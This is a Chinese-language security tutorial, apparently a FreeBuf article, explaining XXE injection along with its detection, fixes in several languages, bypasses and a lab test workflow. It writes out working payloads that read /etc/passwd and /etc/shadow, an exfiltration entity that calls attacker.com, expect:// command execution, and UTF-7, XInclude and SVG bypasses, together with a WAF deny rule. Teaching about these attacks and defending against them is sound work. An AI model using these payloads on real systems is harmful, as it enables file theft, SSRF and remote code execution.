freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

XXE漏洞的简单介绍
jasongsasd 2025-02-14 10:08:26 76943
所属地 上海

1. 漏洞定义

XXE(XML外部实体注入) 是一种利用XML解析器处理外部实体时的安全缺陷,攻击者通过注入恶意外部实体,实现敏感数据读取、服务器端请求伪造(SSRF)或远程代码执行(RCE)。

2. 漏洞原理

外部实体声明:XML允许在DOCTYPE中定义实体,包括引用外部资源:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
  • 解析器行为:未严格配置的解析器会解析并返回外部实体内容,如读取本地文件、发起网络请求等。

3. 攻击场景

敏感文件泄露:

<!ENTITY xxe SYSTEM "file:///etc/shadow">

SSRF攻击:

<!ENTITY xxe SYSTEM "http://internal-api:8080/secrets">

盲注XXE:通过DNS或HTTP请求外带数据:

<!ENTITY % dtd SYSTEM "http://attacker.com/collect?data=exfil">

PHP expect RCE(需特定环境):

<!ENTITY xxe SYSTEM "expect://id">

4. 漏洞检测方法

手动检测:

<!-- 基本Payload -->
<?xml version="1.0"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>

<!-- 盲注检测 -->
<!DOCTYPE test [
  <!ENTITY % remote SYSTEM "http://dnslog.cn">
  %remote;
]>

工具检测:

Burp Suite:Scanner模块自动识别XXE流量特征

XXEinjector:自动化利用工具,支持多种协议外带数据

OOB测试:使用Interactsh生成带外检测域名

5. 漏洞修复方案

代码层修复
禁用外部实体(以Java为例):

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

PHP修复:

libxml_disable_entity_loader(true);

.NET修复:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;

架构层加固
输入过滤:拦截包含<!DOCTYPE或SYSTEM关键字的XML内容

协议限制:禁止XML解析器使用file、http、ftp等协议

WAF规则:

# 拦截XXE特征
if ($request_body ~* "<!ENTITY.*SYSTEM") {
  deny all;
}

6. 绕过手法与进阶攻击

UTF-7编码绕过:

+ADw-+ACE-DOCTYPE foo+AFs- +ADw-+ACE-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI- +AD4- +AD4-

XInclude注入(当无法控制XML头时):

<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</root>

SVG文件XXE:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="expect://ls"></image>
</svg>

御矩阵

防护层级                         具体措施                                      实施示例
代码层                            安全XML解析配置                    禁用DTD、外部实体
运维层                            文件上传过滤                           禁止上传SVG/Office文档
网络层                           出站协议限制                            阻断XML解析器的外连请求
监控层                           异常日志告警                           监控XML解析错误日志

9. 测试验证流程

  1. 环境搭建:
# 使用vulhub快速搭建测试环境
git clone https://github.com/vulhub/vulhub
cd vulhub/xxe
docker-compose up -d

2.漏洞验证:

POST /xml.php HTTP/1.1
Host: vuln-server
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

总结:XEE漏洞的防御需要从XML解析器安全配置、输入过滤、协议限制等多维度构建防御体系,同时结合持续监控和渗透测试确保防护有效性。

# 漏洞 # XXE漏洞
本文为 jasongsasd 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
jasongsasd LV.4
这家伙太懒了,还未填写个人描述!
  • 10 文章数
  • 2 关注者
CVE-2016-4437(Shiro-550)漏洞简述
2025-02-18
XXE漏洞攻击场景的一些解析
2025-02-14
fastjson漏洞小结
2025-02-13
文章目录